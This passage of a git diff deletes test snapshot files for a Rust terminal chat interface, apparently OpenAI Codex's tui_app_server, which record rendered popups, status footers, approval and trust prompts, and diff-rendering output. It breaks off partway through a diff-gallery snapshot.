a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__personality_selection_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__personality_selection_popup.snap deleted file mode 100644 index 1c5c3cb81..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__personality_selection_popup.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Select Personality - Choose a communication style for Codex. - - 1. Friendly Warm, collaborative, and helpful. -› 2. Pragmatic (current) Concise, task-focused, and direct. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup.snap deleted file mode 100644 index 9220bef64..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Implement this plan? - -› 1. Yes, implement this plan Switch to Default and start coding. - 2. No, stay in Plan mode Continue planning with the model. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup_no_selected.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup_no_selected.snap deleted file mode 100644 index 1b64b0f87..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup_no_selected.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Implement this plan? - - 1. Yes, implement this plan Switch to Default and start coding. -› 2. No, stay in Plan mode Continue planning with the model. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__preamble_keeps_working_status.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__preamble_keeps_working_status.snap deleted file mode 100644 index 81f99ffee..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__preamble_keeps_working_status.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -"• Working (0s • esc to interrupt) " -" " -" " -"› Ask Codex to do anything " -" " -" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__rate_limit_switch_prompt_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__rate_limit_switch_prompt_popup.snap deleted file mode 100644 index 2d68fd219..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__rate_limit_switch_prompt_popup.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Approaching rate limits - Switch to gpt-5.1-codex-mini for lower credit usage? - -› 1. Switch to gpt-5.1-codex-mini Optimized for codex. Cheaper, - faster, but less capable. - 2. Keep current model - 3. Keep current model (never show again) Hide future rate limit reminders - about switching models. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup.snap deleted file mode 100644 index 18bea80ed..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Settings - Configure settings for Codex. - -› 1. Microphone Current: System default - 2. Speaker Current: System default - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup_narrow.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup_narrow.snap deleted file mode 100644 index 18bea80ed..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup_narrow.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Settings - Configure settings for Codex. - -› 1. Microphone Current: System default - 2. Speaker Current: System default - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_microphone_picker_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_microphone_picker_popup.snap deleted file mode 100644 index 93f64ad31..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_microphone_picker_popup.snap +++ /dev/null @@ -1,18 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Select Microphone - Saved devices apply to realtime voice only. - - 1. System default Use your operating system - default device. -› Unavailable: Studio Mic (current) (disabled) Configured device is not - currently available. - (disabled: Reconnect the - device or choose another - one.) - 3. Built-in Mic - 4. USB Mic - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap deleted file mode 100644 index 187a46043..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: header ---- -› Ask Codex to do anything diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__slash_copy_no_output_info_message.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__slash_copy_no_output_info_message.snap deleted file mode 100644 index 8fcc96e19..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__slash_copy_no_output_info_message.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: rendered ---- -• `/copy` is unavailable before the first Codex output or right after a rollback. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_fast_mode_footer.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_fast_mode_footer.snap deleted file mode 100644 index 8f26fccb6..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_fast_mode_footer.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " -"› Ask Codex to do anything " -" " -" Fast on " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap deleted file mode 100644 index 36be247c4..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " -"› Ask Codex to do anything " -" " -" gpt-5.4 xhigh fast · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_active.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_active.snap deleted file mode 100644 index bec383c9e..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_active.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -"• Analyzing (0s • esc to interrupt) " -" " -" " -"› Ask Codex to do anything " -" " -" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_and_approval_modal.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_and_approval_modal.snap deleted file mode 100644 index acc6466fc..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_and_approval_modal.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " -" Would you like to run the following command? " -" " -" Reason: this is a test reason such as one that would be produced by the model " -" " -" $ echo 'hello world' " -" " -"› 1. Yes, proceed (y) " -" 2. Yes, and don't ask again for commands that start with `echo 'hello world'` (p) " -" 3. No, and tell Codex what to do differently (esc) " -" " -" Press enter to confirm or esc to cancel " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_begin_restores_working_status.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_begin_restores_working_status.snap deleted file mode 100644 index 78656d6b7..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_begin_restores_working_status.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -"• Working (0s • esc to interrupt) · 1 background terminal running · /ps to view…" -" " -" " -"› Ask Codex to do anything " -" " -" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap deleted file mode 100644 index 68c66d35a..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Waited for background terminal · just fix - -↳ Interacted with background terminal · just fix - └ ls diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap deleted file mode 100644 index f4ca4e0a3..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_combined ---- -↳ Interacted with background terminal · just fix - └ pwd diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap deleted file mode 100644 index 5ff424aba..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -↳ Interacted with background terminal · just fix - └ pwd - -• Waited for background terminal · just fix diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap deleted file mode 100644 index 0521cbc5b..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: snapshot ---- -History: -• Ran echo repro-marker - └ repro-marker - -Active: -• Exploring - └ Read null diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap deleted file mode 100644 index 1e8c24db1..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Waited for background terminal · cargo test -p codex-core - -• Final response. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap deleted file mode 100644 index 16600c5a9..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Waited for background terminal · cargo test -p codex-core - -• Streaming response. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap deleted file mode 100644 index c32663066..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: rendered ---- -• Waiting for background terminal (0s • esc to … - └ cargo test -p codex-core -- --exact… - - -› Ask Codex to do anything - - gpt-5.3-codex default · 100% left · /tmp/proj… diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap deleted file mode 100644 index ff674919c..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Waited for background terminal · just fix diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_shell_ls_output.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_shell_ls_output.snap deleted file mode 100644 index 4602d9716..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_shell_ls_output.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: blob ---- -• You ran ls - └ file1 - file2 diff --git a/codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui_app_server__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap b/codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui_app_server__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap deleted file mode 100644 index ef68c21fd..000000000 --- a/codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui_app_server__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/onboarding/trust_directory.rs -expression: terminal.backend() ---- -> You are in /workspace/project - - Do you trust the contents of this directory? Working with untrusted - contents comes with higher risk of prompt injection. - -› 1. Yes, continue - 2. No, quit - - Press enter to continue diff --git a/codex-rs/tui_app_server/src/render/snapshots/codex_tui_app_server__render__highlight__tests__ansi_family_foreground_palette.snap b/codex-rs/tui_app_server/src/render/snapshots/codex_tui_app_server__render__highlight__tests__ansi_family_foreground_palette.snap deleted file mode 100644 index 709127bc8..000000000 --- a/codex-rs/tui_app_server/src/render/snapshots/codex_tui_app_server__render__highlight__tests__ansi_family_foreground_palette.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/render/highlight.rs -expression: out ---- -ansi: - Blue - Green - Magenta - Yellow -base16: - Blue - Gray - Green - Indexed(9) - Magenta -base16-256: - Blue - Gray - Green - Indexed(16) - Magenta diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__agent_picker_item_name.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__agent_picker_item_name.snap deleted file mode 100644 index 437a10056..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__agent_picker_item_name.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/app.rs -expression: snapshot ---- -Main [default] | 00000000-0000-0000-0000-000000000123 -Robie [explorer] | 00000000-0000-0000-0000-000000000123 -Robie | 00000000-0000-0000-0000-000000000123 -[explorer] | 00000000-0000-0000-0000-000000000123 -Agent | 00000000-0000-0000-0000-000000000123 diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap deleted file mode 100644 index 5c7015d41..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/app.rs -expression: rendered ---- -╭─────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v) │ -│ │ -│ model: gpt-test high /model to change │ -│ directory: /tmp/project │ -╰─────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_header_fast_status_gpt54_only.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_header_fast_status_gpt54_only.snap deleted file mode 100644 index d3b8d1d20..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_header_fast_status_gpt54_only.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/app.rs -expression: rendered ---- -╭────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v) │ -│ │ -│ model: gpt-5.4 xhigh fast /model to change │ -│ directory: /tmp/project │ -╰────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__model_migration_prompt_shows_for_hidden_model.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__model_migration_prompt_shows_for_hidden_model.snap deleted file mode 100644 index b67d88dd4..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__model_migration_prompt_shows_for_hidden_model.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/app.rs -expression: model_migration_copy_to_plain_text(©) ---- -**Codex just got an upgrade. Introducing gpt-5.3-codex.** - -Codex is now powered by gpt-5.3-codex, our most capable agentic coding model yet. It's built for long-running, project-scale work, with mid-turn steering + frequent progress updates so you can collaborate while it runs (and it's faster too). - -Learn more: https://openai.com/index/introducing-gpt-5-3-codex/ - -You can keep using gpt-5.1-codex if you prefer. diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_fork_modal.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_fork_modal.snap deleted file mode 100644 index 56b679ef6..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_fork_modal.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/cwd_prompt.rs -expression: terminal.backend() ---- - -Choose working directory to fork this session - - Session = latest cwd recorded in the forked session - Current = your current working directory - -› 1. Use session directory (/Users/example/session) - 2. Use current directory (/Users/example/current) - - Press enter to continue diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_modal.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_modal.snap deleted file mode 100644 index 5fc9f74b6..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_modal.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/cwd_prompt.rs -expression: terminal.backend() ---- - -Choose working directory to resume this session - - Session = latest cwd recorded in the resumed session - Current = your current working directory - -› 1. Use session directory (/Users/example/session) - 2. Use current directory (/Users/example/current) - - Press enter to continue diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__ansi16_insert_delete_no_background.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__ansi16_insert_delete_no_background.snap deleted file mode 100644 index d89b1665d..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__ansi16_insert_delete_no_background.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"1 +added in ansi16 mode " -"2 -deleted in ansi16 mode " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_add_block.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_add_block.snap deleted file mode 100644 index 7236de4ee..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_add_block.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Added new_file.txt (+2 -0) " -" 1 +alpha " -" 2 +beta " -" " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_delete_block.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_delete_block.snap deleted file mode 100644 index f15fc4792..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_delete_block.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Deleted tmp_delete_example.txt (+0 -3) " -" 1 -first " -" 2 -second " -" 3 -third " -" " -" " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_multiple_files_block.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_multiple_files_block.snap deleted file mode 100644 index f9641c4c1..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_multiple_files_block.snap +++ /dev/null @@ -1,18 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited 2 files (+2 -1) " -" └ a.txt (+1 -1) " -" 1 -one " -" 1 +one changed " -" " -" └ b.txt (+1 -0) " -" 1 +new " -" " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block.snap deleted file mode 100644 index c6500096d..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited example.txt (+1 -1) " -" 1 line one " -" 2 -line two " -" 2 +line two changed " -" 3 line three " -" " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap deleted file mode 100644 index 833e01eaa..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: text ---- -• Edited hundreds.txt (+1 -1) - 97 line 97 - 98 line 98 - 99 line 99 - 100 -line 100 - 100 +line 100 changed - 101 line 101 - 102 line 102 - 103 line 103 diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_relativizes_path.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_relativizes_path.snap deleted file mode 100644 index b8764bd37..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_relativizes_path.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited abs_old.rs → abs_new.rs (+1 -1) " -" 1 -X " -" 1 +X changed " -" 2 Y " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines.snap deleted file mode 100644 index 7cd60394e..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited long_example.txt (+1 -1) " -" 1 line 1 " -" 2 -short " -" 2 +short this_is_a_very_long_modified_line_that_should_wrap_across_m " -" ultiple_terminal_columns_and_continue_even_further_beyond_eighty_ " -" columns_to_force_multiple_wraps " -" 3 line 3 " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines_text.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines_text.snap deleted file mode 100644 index b0a0095fe..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines_text.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: text ---- -• Edited wrap_demo.txt (+2 -2) - 1 1 - 2 -2 - 2 +added long line which - wraps and_if_there_i - s_a_long_token_it_wil - l_be_broken - 3 3 - 4 -4 - 4 +4 context line which - also wraps across diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_with_rename_block.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_with_rename_block.snap deleted file mode 100644 index 7582b948a..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_with_rename_block.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited old_name.rs → new_name.rs (+1 -1) " -" 1 A " -" 2 -B " -" 2 +B changed " -" 3 C " -" " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_120x40.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_120x40.snap deleted file mode 100644 index a621d6926..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_120x40.snap +++ /dev/null @@ -1,44 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited 6 files (+9 -9) " -" └ assets/banner.txt (+3 -0) " -" 1 +HEADER VALUE " -" 2 +rocket 🚀 " Hidden by multi-width symbols: [(15, " ")] -" 3 +city 東京 " Hidden by multi-width symbols: [(13, " "), (15, " ")] -" " -" └ examples/new_sample.rs (+3 -0) " -" 1 +pub fn greet(name: &str) { " -" 2 + println!("Hello, {name}!"); " -" 3 +} " -" " -" └ legacy/old_script.py (+0 -3) " -" 1 -def legacy(x): " 